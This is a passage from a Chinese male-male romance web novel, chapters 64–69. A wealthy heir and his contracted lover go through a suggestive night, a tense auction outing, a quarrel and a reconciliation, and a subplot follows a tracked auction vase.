宋燕归看向时清徵的时候眼神还有些暧昧不清,让时清徵心中升起了一丝不太好的预感。 当晚兰庭酒庄的顶尖套房中,夜色旖旎。 巨大的落地窗外是幽静的庄园夜景。 屋内的光影暧昧的打在最中央的圆形大床上。 时清徵刚沐浴出来,发尾还带着湿气,睡衣领口微微敞开,露出里面的部分春光。 水珠顺着脖颈滑落进丝质睡衣遮挡住的地方。 肤色因为热气氤氲而有些泛红,显得格外蛊惑诱人。 顾鸣鹤靠在床头,看着美人出浴图,喉结上下滚动。 心中已经开始蠢蠢欲动了。 时清徵却像是毫不着急的样子,静静地站在不远处。 “还愣着做什么?过来。” 顾鸣鹤的语气漫不经心,又带着些勾人的暗哑,格外有磁性。 那双眼睛紧盯着时清徵,像是已经将人拆吞入腹了。 时清徵走到床边,还没来得及有动作就被顾鸣鹤拉着倒进他的怀里。 顾鸣鹤的手指从他的下颌划过,一路往下揉捏着。 引得时清徵小幅度地颤栗。 “嗯~” 美人在怀,顾鸣鹤的得意劲儿怎么都藏不住。 男人表达爱的方式最简单直接的是什么? 顾鸣鹤更得寸进尺了,拉长前戏,磨磨蹭蹭的。 时清徵身体一僵,随即就是破碎的喘息声。 “顾......先生不是说是我求着要伺候吗,怎么还没等我求求......你呢.......” 时清徵的话被弄得有些破碎。 “就当是给我个面子,至少让我装一下。”顾鸣鹤嗓音低哑。 “嗯......顾,顾先生的.....面子自然.......自然是要......给的。” 时清徵唇口半张,细细喘着。 这个反应极大地取悦了顾鸣鹤,他低低地笑着,手上依旧恶劣。 “身材真好。”顾鸣鹤贴着人耳朵,用气音讲着,惹得时清徵又是一阵酥麻。 时清徵的后背紧紧贴在顾鸣鹤的胸膛,能感受他的心跳逐渐加速。 顾鸣鹤的手在时清徵的薄肌上划过,戳着,揉着。 他知道时清徵有一些身手,毕竟先前他见识过了。 不过并没有特别在意,因为时清徵在东南群岛长大,那里混乱,有点保命的本事并不稀奇。 时清徵整个人都要瘫软到顾鸣鹤身上了。 “你不好奇我为什么答应宋燕归今晚住这?” 时清徵下意识回避:“不......唔——” 顾鸣鹤有些霸道地咬住他的耳垂,手中动作没停。 “不,你好奇。” “快说啊。” 时清徵缓了一阵,才轻吐一口气:“为什么?” 但他直觉不是什么好东西。 顾鸣鹤:“在旁边抽屉里,你打开看看。” 抽屉被打开,里面...... 时清徵下意识瞪大双眼,那双清凌凌的凤眸中水雾还未彻底散去。 “不,不行。” 他下意识就开始排斥。 顾鸣鹤环住他的腰,属于他的气息自上而下将时清徵包裹。 “宝贝儿,真不想试试?” “嘘,不许拒绝我。” “你得听我的。” .......... “时小徵,怎么不说话了?” “宝贝儿?你动一动。” “嗯,宝贝好乖。” “时小徵?” 顾鸣鹤是有些恶劣在身上的,尤其是知道自己喜欢时清徵后,就像是打通了什么任督二脉。 回答他的是隐忍的喘息和被逼出来的颤音。 时清徵:“太,太刺激了。” —— 第二天两人华丽丽地一起起晚了。 早餐摆满长桌,几个人已经坐定,边吃边聊,气氛很悠闲自在。 靳云封干掉最后一口培根,心满意足的擦了擦嘴,然后四周环视了一圈。 “咦,顾哥和时美人呢?这都快日上三竿了,怎么还不起?” 他抓了抓脑袋,很好心地提议道:“要不要去叫一叫他们?” 宋燕归慢条斯理的咽下牛奶,把杯子放在一边。 “你可以去试一试,放心,鸣鹤不会把你打死的,顶多把你从楼上丢下来。” “啊?” 靳云封眨了一下清澈并且愚蠢的眼睛,生锈了,脑袋转了转,这才反应过来。 “窝草,他们俩昨晚??!” 只看过猪跑没吃过猪肉的花花公子靳云封声音都提高了一些。 惹得场桌上的人目光都移到了他身上。 宋燕归风轻云淡道:“不然呢,你又不是不知道他们俩的关系,有必要这么大惊小怪吗?” 最终靳云封咽了口唾沫,缓缓吐出了两个充满敬畏的字。 “......够猛。” 顾鸣鹤是谁?那可是从小到大的自律狂,身体素质不要太强。 再看时清徵,腰细腿长骨架匀称,但那瘦弱的身板怎么看也不是顾哥的对手啊。 结论显而易见—— 顾鸣鹤这个禽兽不知节制。 为顾鸣鹤事业添砖加瓦的宋燕归只是笑笑,没有说话。 此时的套房里,光线昏暗,气味都还没完全散去,可见昨晚战斗的激烈。 顾鸣鹤怀里搂着人,迷迷瞪瞪说了句:“时小徵.......” 时清徵咬着牙,要不是情况不允许,他恨不得一脚把人踹下去。 第65章 为什么愿意被他包养 接下来几日时清徵都没有出门,主要还是身上的痕迹太明显,他多少还是要点脸的。 顾鸣鹤推门进来时看见的就是时清徵正烦躁地扯了下衣领。 侧颈到锁骨处的红痕已经消失地差不多了,让人忍不住再添点什么上去。 时清徵回头看了顾鸣鹤一眼,眼神有些危险。 他现在很想把这人按进沙发里摩擦一顿。 察觉到时清徵周身的低气压,顾鸣鹤也收敛了自己的眼神。 他那晚是有些没收住,但是时清徵的体力确实出乎他的意料....... 慢慢踱步过去,带着些哄劝的意味:“衣领都要被你扯坏了。” 时清徵轻啧了一声,伸手按在了顾鸣鹤的侧颈处。 “扯坏?那顾先生不会买新的?” 时清徵语气硬邦邦的,不好惹就差写脸上了。 “好,你想买多少都行。”顾鸣鹤笑着依他。 “今晚要不要跟我出去透透气?” 时清徵:“去哪?” 顾鸣鹤:“乾元拍卖会今晚有一场秋拍,你要是感兴趣的话跟我去看看。” 顾鸣鹤的目光在他身上流连,藏着点别的心思。 在一起这么些日子,他给的那张卡安静得像不存在,时清徵连瓶水都没刷过他的!这像话吗? 今晚,非得让他学会怎么理直气壮地花他顾鸣鹤的钱不可。 乾元秋拍? 时清徵眼睫微垂,遮住眸底瞬间闪过的精光。 指尖在口袋里捻了捻,随即勾起一抹笑来。 “好。” 契瓶01,就在今晚的拍品名录上。 他当然得到场亲眼看看。 顾鸣鹤见时清徵答应地这么痛快,笑容更深了。 乾元拍卖所的包厢内,工作人员递上了拍卖名单。 包厢内部最前面是一个单面玻璃,从包厢的沙发上坐着正好可以看见拍卖台。 顾鸣鹤翻着单子,有些兴致缺缺。 直到他看见了一个瓶子,倒不是说这个瓶子有多名贵。 而是这个瓶子的起拍价格是二百五。 不是二百五十万,是二百五。 顾鸣鹤也是第一次见这种情况,扬了下眉,把单子递给时清徵看。 时清徵笑了下,点评道: “丑瓶子。” 顾鸣鹤点头认同:“确实丑,也不知道是哪个没品味的拿出来拍卖的。” 时清徵忽然不笑了。 “嗯,确实没品味。” “不过能把这玩意弄到秋拍上来,卖这个东西的人身份不低。” 乾元拍卖所也不是什么东西都拍,尤其是这种报价二百五的,正常来说是不会放到秋拍这种大型拍卖会上来的。 除非是瓶子背后的主人恶趣味。 “你想要这个瓶子吗?”顾鸣鹤把单子放一边,问时清徵。 时清徵:“先生不是刚说这个瓶子丑,没品味吗?” 顾鸣鹤:“拍来玩玩,反正不值钱。” “那就随便先生了。” VIP包厢在上一层,最前面是单向玻璃,可以看见外面的拍卖台,正对着大屏幕。 拍卖会很快开始。 时清徵一直没表现出对什么感兴趣的样子,顾鸣鹤反而有些坐不住了。 “没有喜欢的?” 时清徵坐在沙发里,抬头看了眼大屏幕上的拍品。 是一块上世纪29钻将军表,在当时已经是顶尖工艺,现存稀少,但算不上名贵,主要是有收藏价值。 拍价如今已经到了六十万,但是还没有停下。 时清徵颇有些百无聊赖。 “没什么特别的。” 顾鸣鹤见他兴致缺缺,非但不恼,反而觉得这时清徵眼光挑剔的样子格外带劲儿。 他歪着身子,几乎要贴到时清徵身上,低沉的声音带着刻意的叹息和诱哄:“时小徵眼光这么高,可要我如何是好?” 温热的气息故意拂过时清徵敏感的耳廓。 “都说千金买美人一笑,我这揣着金山银山,愣是花不出去,愁啊。” 时清徵手臂随意地往旁边沙发扶手上一搭,姿态慵懒,完美避开顾鸣鹤的近距离骚扰。 他侧过脸,那双漂亮的眼睛微微眯起,上下扫了顾鸣鹤一眼,然后才慢悠悠地,用一种近乎真诚语气感慨道: “先生,您真有钱。” 这话倒是不假。顾家的财富积累了几代,盘根错节,是真的很有钱。 顾鸣鹤被这句“真诚”的感慨取悦了,大手一挥,豪气干云:“所以啊,宝贝儿,看中什么只管点,千万别给我省钱!” 时清徵闻言,嘴角缓缓勾起一个极浅的弧度。他身体微微后仰,拉开一点距离,那双清亮的眸子直视着顾鸣鹤。 “嗯,您确实很有钱。” 他点点头,重复了一遍,语气依旧平淡:“不过您有钱,跟我有什么关系?” 顾鸣鹤脸上的笑容逐渐变浅,眸子冷了下来。 “你什么意思?” 顾鸣鹤的声音压得很低,带着一种风雨欲来的沉滞。 他身体微微前倾,不再有刚才刻意营造的暧昧,取而代之的是一种被属于上位者的压迫感,紧紧锁住时清徵。 时清徵仿佛感觉不到那沉重的气压。 他甚至放松地往后靠了靠,找了个更舒服的姿势窝在沙发里。 他微微歪头,那双眼睛里没有畏惧,只有一片近乎天真的漠然。 “字面意思啊。” 他语气平淡无波,甚至尾音还带着点微微上扬。 顾鸣鹤的心像是被那轻飘飘的“字面意思”狠狠攥紧。 一股无名火窜起,但紧随其后的,是一种更深的,猝不及防的凉意。 时清徵的态度太明确了——泾渭分明,楚河汉界。 你是你,我是我。 你的财富是你的事,与我无关。 顾鸣鹤忽然意识到时清徵为什么不花他的钱了。 不花你的钱,不是因为矜持,不是因为懂事,更不是因为欲擒故纵,而是因为,根本不想与他有更深层次的牵扯。 这个认知带着前所未有的尖锐,狠狠扎进了顾鸣鹤的内心。 原来如此。 顾鸣鹤搭在膝盖上的手猛地收紧,他盯着时清徵那张平静得近乎残忍的脸,试图从上面找出一丝伪装或者赌气的意味。 没有。 一丝一毫都没有。 时清徵当初为什么愿意被他包养?只是为了钱? 这些日子的相处让顾鸣鹤清楚的认识到时清徵并不是追名逐利之辈。 那张卡从来没有被动过,就是最好的成绩。 那他图什么? 顾鸣鹤并没有兜圈子,而是直接看着时清徵。 “当初你为什么选择跟我?” 第66章 坐前面 顾鸣鹤的神情有些冷,但除此之外,并无更多波澜。 他骨子里的教养和上位者的体面,让他习惯了在情绪惊涛中维持表面的从容与淡定。 但只有他自己知道心底那一丝不易察觉的慌。 他怕听到时清徵的答案。一个他隐隐预感,却不愿深想的答案。 “先生怎么忽然问起这个了?” 时清徵微微侧头。 为什么问? 当然是因为在意,在意你的态度,在意你眼中我的位置。 自从顾鸣鹤察觉到心底那点不同于“玩物”的异样情愫,他便不再掩饰自己的关注。 姑且称之为“喜欢”吧。 送昂贵的礼物,带他出入自己去的场合,,甚至开始容忍他偶尔的冷淡和小脾气。 这对他来说,已是前所未有的优待。 但这一切的前提,是他潜意识里默认了时清徵也应当有所回应。 时清徵这一个多月来的温顺之下,那些偶尔的疏离,不易察觉的走神,甚至那点不易亲近的淡漠。 原来这些并非欲擒故纵的手段,而是源于不在乎。 “回答我。” 顾鸣鹤的嗓音压得更低。 时清徵迎着他的目光,没有丝毫闪躲: “不是先生要求的吗?我们各取所需。” “各取所需?” 顾鸣鹤像是听到了一个笑话,短促地,带着点自嘲意味地笑了一声。 那笑声里没什么温度:“那你要什么?” 他喜欢时清徵不假,但这喜欢远未到让他放弃骄傲,沦为舔狗的地步。 他依旧是那个众星拱月的京圈太子爷,他习惯了得到,习惯了掌控。 时清徵似乎觉得这个问题有些多余,他调整了一下坐姿,姿态依旧放松。 “先生,您要的是什么,我要的就是什么。” 他回答得很是自信。 “我要你。” 顾鸣鹤盯着他,一字一句,清晰地吐出这三个字。 时清徵闻言,轻轻眨了下眼,然后以一种近乎复述的语调回应: “我也是,先生。” 顾鸣鹤的唇角,缓缓扯出一个极其冰冷的弧度。 他懂了。 彻底懂了。 时清徵的“要你”,和他顾鸣鹤最初想要的“要你”,本质如出一辙。 最初,他想要的是时清徵这张颠倒众生的脸,是这具赏心悦目的身体,是拥有这样一个极品金丝雀带来的满足感。 他想要的是得到和拥有。 就像他曾经得到过的任何一件珍贵物品一样,占有,赏玩,享受其带来的价值。 而时清徵此刻的“要你”,同样如此。 无关情爱,无关灵魂。 他要的,仅仅是顾鸣鹤这个人本身,作为满足某种需求的客体。 你视我为玩物,我亦视你为工具。 这个认知,比直白的话语都更具杀伤力。 它剖开了温情脉脉的假象,露出了内里赤裸裸的物欲交换的本质。 顾鸣鹤正欲开口,喉咙里像是堵着什么,想再次确认,或是想撕开这层的交易外衣,看看底下是否还有别的可能。 “先生。” 时清徵却忽然出声打断了他,视线投向拍卖台上,语气甚至还带着点不易察觉的兴趣? “我们别谈这个了。” 然后微微抬了抬下巴:“丑瓶子来了。” 他的注意力已然被拍品吸引。 顾鸣鹤所有未出口的话,就这样被轻飘飘地堵了回去。 或者是他根本不知道怎么说。 毕竟一开始提出签合约包养时清徵的人的是他。 时清徵并没有被刚才的话题影响,而是饶有兴趣地看着台上拍卖师说出: “起拍价二百五十元。” 台下很安静,没人对这个感兴趣。 “三百。”有人出价了。 “三百一次。” “三百两次。” 时清徵一脸看好戏不嫌事大的模样,摇了摇顾鸣鹤的手臂。 “先生,跟他抬价。” 顾鸣鹤一瞬间被时清徵从头脑风暴里拉了出来。 看着没心没肺的时清徵,他快被气笑了,但还是在触摸屏上按下加价。 “四百,还有要加价的吗?” “四百一次,四百两次。” 先前报价的人继续跟:“五百。” 顾鸣鹤就像是跟外面那个人杠上了一样,硬生生加出了加价几百万的气势。 台下那个人自然是顾砚川的人,他自然不可能任由这个瓶子落到其他人手中。 先前江晓崖不来就是怕价格太高他拍不起,结果起拍价居然是二百五...... 也不知道客户是故意的还是存心的。 时清徵表示:格局打开。 最终瓶子被顾砚川的人以两千五的高价拍了回去。 顾鸣鹤看着制止他继续加价的时清徵:“时清徵,你什么意思?” “逗他玩玩儿。”时清徵心情很好的样子。 顾鸣鹤扭回头,没有再搭理时清徵。 拍卖会接下来的时间,包厢里陷入一种微妙的沉默。 顾鸣鹤全程保持着沉静,靠在沙发里,长腿交叠,目光看似落在拍卖台上,眼神却深邃无波。 周身散发着一种生人勿近的冰冷气场,将刚才那点残余的暖意彻底冻结。 时清徵几次想开口讨论拍品,或者只是单纯打破这诡异的安静。 结果话到嘴边,瞥见顾鸣鹤那副拒人于千里之外的冷硬侧脸,又默默咽了回去。 时清徵:??? 他眼珠子在顾鸣鹤说身上转了转,心里犯嘀咕:今晚他是吃枪药了还是天和集团股票跌了? 时清徵开始快速复盘今天发生的事。 思来想去,唯一的变量就是顾鸣鹤自己那颗难以捉摸的脑袋。 最后,时清徵得出一个简单粗暴且非常符合他思维的结论:顾鸣鹤脑子有病。间歇性发作的那种。 拍卖会终于落下帷幕。人群开始有序离场,包厢里也只剩下他们两人。 顾鸣鹤一言不发地起身,拿起外套搭在臂弯,径直向外走去。 时清徵自然跟上,保持着一步左右的距离。 来到地下停车场,时清徵习惯性地伸手就去拉后座的门。 就在时清徵的手指即将碰到后门把手时,顾鸣鹤平静却带着不容置疑的声音响起: “坐前面。” 于是,在顾鸣鹤沉沉的注视下,时清徵极其自然地收回了伸向后座的手,脚步拐了个小弯,拉开副驾驶的车门,坐了进去。 坐稳后,他甚至调整了一下安全带。 第67章 顾鸣鹤,我艹你大爷 车内沉默的气息让人压抑地难受。 时清徵的手先是在腿上搭了会儿,然后还是没忍住默默的掏出了手机。 “放下。” 顾鸣鹤的声音毫无征兆的响起,有些冷。 时清徵动作一顿,虽然不理解,但还是尊重。 他撇了撇嘴,没什么多余动作,直接把手机塞回了口袋,然后目光转向了窗外的霓虹。 霓虹的流光被拉出了斑驳的色带,车窗上倒映着时清徵的身影。 偏生今天一路都是红灯,时时刻刻考验着开车人的耐性。 每次都是眼睁睁的看着绿灯在前面闪烁几下,但就是过不去。 刹车,启动,再刹车,再启动,走走停停。 这条路不是回半山庄园的路。 时清徵看着窗外陌生的景致忍不住开口问道:“先生,我们这是去哪?” 但是没有回应。 “顾先生?”时清徵的音量微微提高了些。 还是没有回应。 “顾总?” 依旧是沉默。 时清徵本身就不是什么好脾气的主儿,今天莫名其妙被甩脸子心中是有些不耐烦的。 他的大拇指紧压住食指,闭了闭眼几秒后,将躁动的情绪压了下去。 他没有继续问,但顾鸣鹤却是回答了。 “去晋园。” 晋园,顾鸣鹤在市中心的那一处房产,时清徵先前去过一次。 “哦。” 时清徵干巴巴地应了一句,也没有再开口。 随后伸手按下按钮,打开了车窗。 夜风瞬间灌了进来,带着冷意,让人的头脑都不由得清醒了。 时清徵发丝被吹的微乱,心情也有些烦躁。 手机在口袋里轻轻震动了一下,是正事。 时清徵只是拿出手机随便看了一眼,然后很快的放了回去。 是刚才拍卖会时拍走契瓶01买主的资料。 效率还挺快。 车子继续在红灯的间隙中缓慢的蠕动。 时清徵总感觉安全带不舒服,烦躁的拉拉安全带调整位置。 只是怎么调整都不满意,于是只能颓然作罢,颇有种自暴自弃的感觉。 顾鸣鹤再次停到了一个十字路口等红灯,前面车流如织,能看见猩红的尾灯。 他又没有赶上上一个绿灯。 时清徵心里不由得嘀咕:顾鸣鹤这个人今天是有点霉气在身上的。 当红灯倒计时还剩下十几秒时,顾鸣鹤的声音再次响起,带着些压抑。 “时清徵.......” 他顿了一下,犹豫着要不要开口。 “你究竟是怎么想的?” 这句话说出来,顾鸣鹤像是松了一口气。 “在你心里,我算什么?” 时清徵原本在心中默默数绿灯,听到这话视线从前方挪开。 沉默着没有开口。 顾鸣鹤以为他有打算糊弄过去时,时清徵说话了。 “先生,绿灯了。” 顾鸣鹤心中提起的那口气瞬间卸了个干净,脚下油门一踩,车子向前驶去。 “别扯开话题。” 顾鸣鹤的声音混杂着窗外挤进来的风声。 “嗯,我没有。” 时清徵抬手关了车窗。 “我们回去再说。” 晋园别墅内。 入户门在身后被关上,玄关处顿时陷入了一片漆黑。 廊灯也没有开。 与此同时,一只大手猛地从黑暗中精准的握住了时清徵的手腕,然后往后一拉。 时清徵整个人被压在了门上。 黑暗笼罩了两个人,他们谁都看不清对方的神色,但都能清晰的感受到对方的视线落在了自己的身上。 时清徵没有反抗,而是抬头透过一片黑暗望向顾鸣鹤。 他的两只手被牢牢固定在头顶上方,难以动弹。 说实话,被人禁锢的感觉并不好受,如果对方不是顾鸣鹤,时清徵早就动手了。 在黑暗中一切感官都被放大。 包括禁锢他手腕的那只手,此刻在微微颤抖。 “先生?” 只听得见对面压抑的呼吸声,随后逐渐的平稳。 “时清徵,你把我当什么了?在你眼里我的一切都跟你没关系是吗?” 顾鸣鹤说出这句话的时候格外的冷静,没有露出半分的难堪。 时清徵的声音依旧平稳,像是两个体面的人坐在谈判桌前面对面交谈:“先生,有什么话你可以直说。” 说什么?顾鸣鹤扯了下唇角。 说他喜欢上了一个人,但是发现对方并不喜欢自己。 他不图钱,不图人,仅仅是图自己的需求? 顾鸣鹤从小含着金汤勺长大,习惯高高在上的掌控一切。 他可以接受自己喜欢时清徵,可以放下身段迁就他,但前提是时清徵心中也是有他的。 不然他顾鸣鹤算什么?舔狗吗? 这无异于是拿自己的真心去当一个笑话给别人玩弄。 顾鸣鹤觉得自己的骄傲不允许自己做出这样的事来。 “放手。”带上了点命令的语气。 时清徵的手被大力握住,手腕有些酸痛。 他的耐心在今晚已经告罄了,手腕蓄力似乎随时准备挣脱。 在他准备动手的前一秒,顾鸣鹤松开了手,但那并不是一种放弃,而是爆发。 顾鸣鹤双手分别扣住时清徵的肩,一个冲动失去理智的吻就落了下来。 带着撕咬发泄的劲儿。 时清徵都能感受到自己口中的空气被疯狂的掠夺干净,带着强烈的窒息感。 直到口腔中弥漫起一股血腥气。 时清徵抬手大力地将顾鸣鹤往后一推,趁着顾鸣鹤理智未回神的空档一脚将人踹了出去。 “顾鸣鹤,我艹你大爷!” 时清徵伸出舌尖抵住唇角的伤,一股子血腥气让他眼中的暴戾蠢蠢欲动。 他这一脚收了力,顾鸣鹤不过是踉跄后退几步。 但时清徵还是走过去,一把揪住了人的衣领。 “顾鸣鹤,你........”发什么疯? 话还没说出口,一点冰凉就落在时清徵的手背上。 随后又是一滴。 时清徵:....... 他赶紧松开了手,原本还气势汹汹的架势瞬间萎靡了下来。 “哎,你别哭啊。” “我也没用力啊。” “明明,是你先搞事的......” 时清徵越说越没底气,他还是第一次见顾鸣鹤哭。 虽然在黑暗中他也看不清顾鸣鹤的脸。 他见过顾鸣鹤在工作上运筹帷幄的强大,也见过他私下在好友面前张扬嘴欠,毒舌欠揍的模样。 甚至顾鸣鹤在他面前也是时而傲娇时而温柔的,有时候还会有一些莫名其妙的小情绪。 他以为这就是顾鸣鹤的全部了。 不过时清徵就是没见过顾鸣鹤这副脆弱的样子。 这样的他是全然陌生的。 第68章 日久生情 时清徵想说些什么,但在这一刻,他感觉自己的语言系统彻底宕机了。 于是,只能用他认为温和的方式,笨拙地尝试安慰顾鸣鹤。 “那个........” 时清徵有些僵硬地抱住顾鸣鹤,手放在他的后背上,生疏地拍了两下。 他第一次如此清晰地意识到:顾鸣鹤的眼泪,比他见过的任何武器都更难以招架。 “好了。” “笨手笨脚”的时清徵此刻手足无措,先前脑子里那些乱七八糟的东西全被冲刷得一干二净。 什么火气,全被这眼泪压下去了。 没办法,他向来吃软不吃硬。 顾鸣鹤并没有回抱,只是将头更深地埋进时清徵的肩颈处。 两人维持这个姿势很久,顾鸣鹤才慢慢挪开。 “时清徵”, 他的声音带着一丝沙哑,眼神却执着地锁住对方,“你是不是......有那么一点喜欢我?” 问出来却多少有些小心翼翼。 时清徵轻叹一声:“所以,折腾了这么久,先生你就是想问这一个问题?” “告诉我。” 顾鸣鹤的语气带着不容回避的坚持。 “这很重要吗?” 时清徵微微蹙眉:“我们在床上各取所需,不行吗?” 顾鸣鹤深吸一口气:“很重要,因为......” “因为你喜欢我,是吗?” 时清徵直接点破。 顾鸣鹤微微一怔:“你知道?” “刚才猜到的。” 时清徵说着,想转身去找灯的开关。 顾鸣鹤却拉住了他的手腕。 时清徵有些无奈:“先生,有些话,还是明说比较好。” 灯光亮起,瞬间将两人的身影清晰地映照在对方的眼中。 顾鸣鹤眼尾泛红,那双桃花眼因水光更添了几分潋滟之色。 时清徵拉着他坐到沙发上,自己则坐在对面。 他伸手倒了杯水,推到顾鸣鹤面前。 顾鸣鹤垂眸拿起水杯:“多谢。” 相识一个多月,此刻的氛围却莫名生出几分生疏。 “时清徵。” 顾鸣鹤握着杯子的手有些抖,最终还是将它放回桌面:“我给你卡你不花,送你东西,你不要。你说我要什么,你要的就是什么。那我们算什么?我算什么?” 以前有句话他不理解,现在懂了—— 先动心的人,一开始就落于下风。 时清徵看着那个水杯,努力维持着平静和理智: “先生,从某种程度上来说,您不该问我这个问题。相反,按我们最初的合约,落在下风受委屈的,本该是我。” “我不是旁观者,不可能给你一个完全正确的答案。” “我明白您的意思。感情很复杂,不是三言两语就能左右或决定的,它甚至......常常不受我们控制。 有时候,我们自己也未必能及时察觉它的存在。” 顾鸣鹤双手撑在膝盖上,低下头又猛地抬起:“是!最开始提出包养的人是我,我承认。” 他长长吐出一口气,缓和了语气:“可现在不是了。我......想要你的真心。” 他的目光直直望向时清徵,明明近在咫尺,却仿佛隔着千山万水。 时清徵的心,不受控制地颤了颤。 真心? 他直视着顾鸣鹤:“先生,您应该先理清自己的心思。您想要的,究竟是我的真心,还是满足您自己的不甘心?” 从始至终,这段关系的开始就根植于欲望和激情。 然而,这些东西最易消磨殆尽。当新鲜感褪去,内心的渴望往往会本能地去寻找更新的替代品。 这是人性使然。 时清徵闭了闭眼,心中一阵紧缩。 人人都是胆怯的,面对这种问题,大多数人会选择逃避。他也不例外。 但有些事,他不想这样黏黏糊糊、不清不楚。 就像别人对他的评价——他就是一根筋。 一根筋到去跟幽灵组织犟到底,不死不休。 江南月还劝过他:“既然你这条命没丢,那就爱咋咋地呗,过好未来不就行了?” 可时清徵大概上辈子是头倔驴,不弄死那群人,他就是浑身不舒服。 现在......也是这样。 “不甘心?” 顾鸣鹤被这个词问得有些怔忡。 时清徵站起身,垂眼望向沙发上的顾鸣鹤,语气清晰而平静: “真心这种东西,不是能轻易说得出口的,也不是能轻易允诺的。” “先生,谈其他的,可以。谈这个......” 他顿了顿,目光带着一种近乎审视的认真:“您至少,得让我看得到您的心意。” 顾鸣鹤看着人似乎准备转身离开,嘴比脑子动的快。 “等等。” 几乎是下意识的反应,他叫住了时清徵。 顾鸣鹤站起身,垂在身侧的手捏成拳。 “这一个月我对你.....你当真什么都不知道?” 时清徵摇头:“先生,您至少要拿出诚意来,因为您的喜欢我看不见。” 顾鸣鹤只觉得心里一空,似乎就要沉下去了。 明明时清徵就站在他的不远处,可是他怎么都走进不了半步。 看着顾鸣鹤眼角未褪去的红晕,时清徵抿唇走过去。 “先生,至少我是有点喜欢你的,当然有可能只是日久生情。” 当然,是动词。 顾鸣鹤却像是抓住了什么,倏然抬眼。 “您对我的喜欢可能并没有比我多到哪里去,只是您不甘心而已。” “不是。” 时清徵摇头:“先生,你听我说完。” “就如我先前所说的,感情很复杂,我们不可能用数字衡量它,因为它不是实物。” 正因如此,才会有这么多的感情纠葛。 你的闭而不宣,我的犹犹豫豫,最终都会变成感情的裂隙。 顾鸣鹤能说出口,时清徵也有些诧异。 顾鸣鹤并不懂怎么去爱一个人,同样,时清徵也是个小白。 生长于虚无是他人生的底色,他没有正常的童年和情感教育,所以也缺乏对情感联结的认知。 所以他和顾鸣鹤需要更直白的沟通。 不然两个人一直弯弯绕绕,怕是得绕地球好几圈。 “不过先生,我们可以继续试试。” 时清徵抬眸轻笑,看着站在几步外的顾鸣鹤,伸出手。 “我也有点喜欢你的,这是不是很巧?” 顾鸣鹤愿意在今天为他后退一步,那他也愿意为顾鸣鹤主动上前一步。 至少今晚的顾鸣鹤很真诚。 第69章 不信你摸摸 时清徵和顾鸣鹤并没有一个很好的感情开头,毕竟爱情本该是平等的。 顾鸣鹤看着时清徵伸出来的手,心下一动,不再犹豫,直接伸手将人揽进了怀里。 他一手环住时清徵的腰,另一只手则轻轻放在对方的后脑上,带着一种前所未有的珍视揉了揉那柔软的发丝。 顾鸣鹤的声音低沉,带着一种尘埃落定的承诺感:“好,那我们重新开始。” 时清徵没吱声,身体却也没抗拒,安静地靠在他怀里。 顾鸣鹤知道,这就是他的默认。 短暂的温情拥抱后,两人稍稍分开。 还没等顾鸣鹤品味够这重新开始的微妙氛围,就见时清徵一脸严肃,非常认真地抛出一个问题: “等等,那还有那些包养费,现在还算数吗?” 空气仿佛凝固了一瞬。 刚才那点旖旎并且充满希望的氛围瞬间被这个问题砸得粉碎。 不得不说,时清徵是有点会破坏气氛的。 顾鸣鹤额角不受控制地跳了跳,深吸一口气才压住那股哭笑不得的冲动。 “作数,当然作数!” 他顿了顿,像是给自己找了个台阶,也像是找到了新的定位,语气带上了点理直气壮,或者说强词夺理: “就当是给男朋友的零花钱,不行吗?” 时清徵闻言,那双漂亮的眉毛立刻挑了起来。 “谈恋爱?”他重复了一遍这个词,眼神在顾鸣鹤脸上扫了扫。 “我怎么感觉.......”他拖长了尾音,语气充满了不解 “我们这关系,越处越倒退了?” 别人不都是先牵手,看看电影,谈谈心,处得差不多了,才能“不能细说,说了会封”。 怎么到了他们这儿,顺序全反了? 他指了指顾鸣鹤,又指了指自己,眼神里充满了“这不合常理”的控诉: “睡也睡了,钱也拿了,现在才说要重新开始谈恋爱?” 时清徵总结陈词,语气带着点难以言喻的嫌弃和调侃。 顾鸣鹤眼神微妙,悠悠地说了一句:“其实......我们也可以更简单一点。” 谈恋爱又不耽误那啥。 两人的眼神在空气中交缠,在这一点上,两人达成了高度一致。 “你刚才踹地我好疼。”顾鸣鹤眼珠子一转,很会顺着杆子往上爬。 时清徵:“我也没多使劲啊。” “这里,不信你摸摸.......”顾鸣鹤眼尾微垂,就用那双眸子看着他。 时清徵:他记得他刚才踹的不是这吧? ———— “时小徵,宝贝儿?我去上班啦~” 时清徵眼睛都没睁:“滚。” 颇有些咬牙切齿。 顾鸣鹤蹲在床边,手臂搭在床沿:“为什么不给我一个分别吻?” 很是委屈。 时清徵慢吞吞地睁眼,就差把枕头扔他脸上了。 “没有。” “那我给我家宝贝一个分别吻。”顾鸣鹤说着,起身在时清徵额头上落下一吻。 一个小时后,时清徵起床,手机叮叮咚咚来了不少信息,都是一个人发来的。 【顾鸣鹤:时小徵起床了吗?】 【顾鸣鹤:分开的第十分钟,想你。比心jpg.】 【顾鸣鹤:时小徵,你昨晚打我了,打动了我的心。】 【顾鸣鹤:你一小时没理我了,我变成了一只鸡。】 【顾鸣鹤:什么鸡?被爱判处终生孤鸡。】 诸如此类,画风和之前的聊天记录完全不是一个类型。 时清徵都有些怀疑顾鸣鹤被盗号了,这人疯了?被夺舍了? 【你洗了蒜了:??】 【你洗了蒜了:先生别搞,这样很油。】 但是顾鸣鹤并没有回,应该是在忙。 时清徵一边吃早饭一边看昨晚下属给他发来的资料。 那个人本身的资料看上去没有什么问题,有问题的是他背后的人。 他的身后牵扯较广,人际关系复杂,一时半会儿不可能从资料里查出什么异常。 这也是时清徵当时并不急着看资料的原因。 因为他不是真的需要从这个人身上查起,而是想借这个人的手查出幕后之人。 时清徵打开了手机里的一个系统,上面的地图里一个红点点在闪。 而地图上显示的定位器位置在GU国际科技。 先前时清徵就让那群工作人员在瓶身里原本放芯片的地方安装了定位器,那群人一时半会儿也发现不了。 时清徵摸着下巴喃喃自语:“GU国际生物科技公司?听起来好像是顾家产业吧。” 他上网去查了查。 的确是顾家产业,不过这个公司的管理人员是顾鸣鹤的二叔顾砚川。 时清徵看着百科资料上顾砚川的照片,摇了摇头。 幸好顾鸣鹤长得不像他二叔,不然...... 不然就没有后续剧情。 时清徵按灭手机,想着什么时候得找个机会去友好问候一下顾砚川了。 这么想着,他站起了身。 结果一个动作太猛。 “嘶——” 时清徵扶住了后腰,半弯着身子在原地缓了半天。 另一边,顾鸣鹤在难得清闲的午休时间,终于有空拿起了自己安静了一上午的手机。 结果屏幕刚亮,一条来自时清徵的未读消息就跳了出来,异常醒目。 内容言简意赅,总结起来就是一个字 油。 顾鸣鹤:“???” 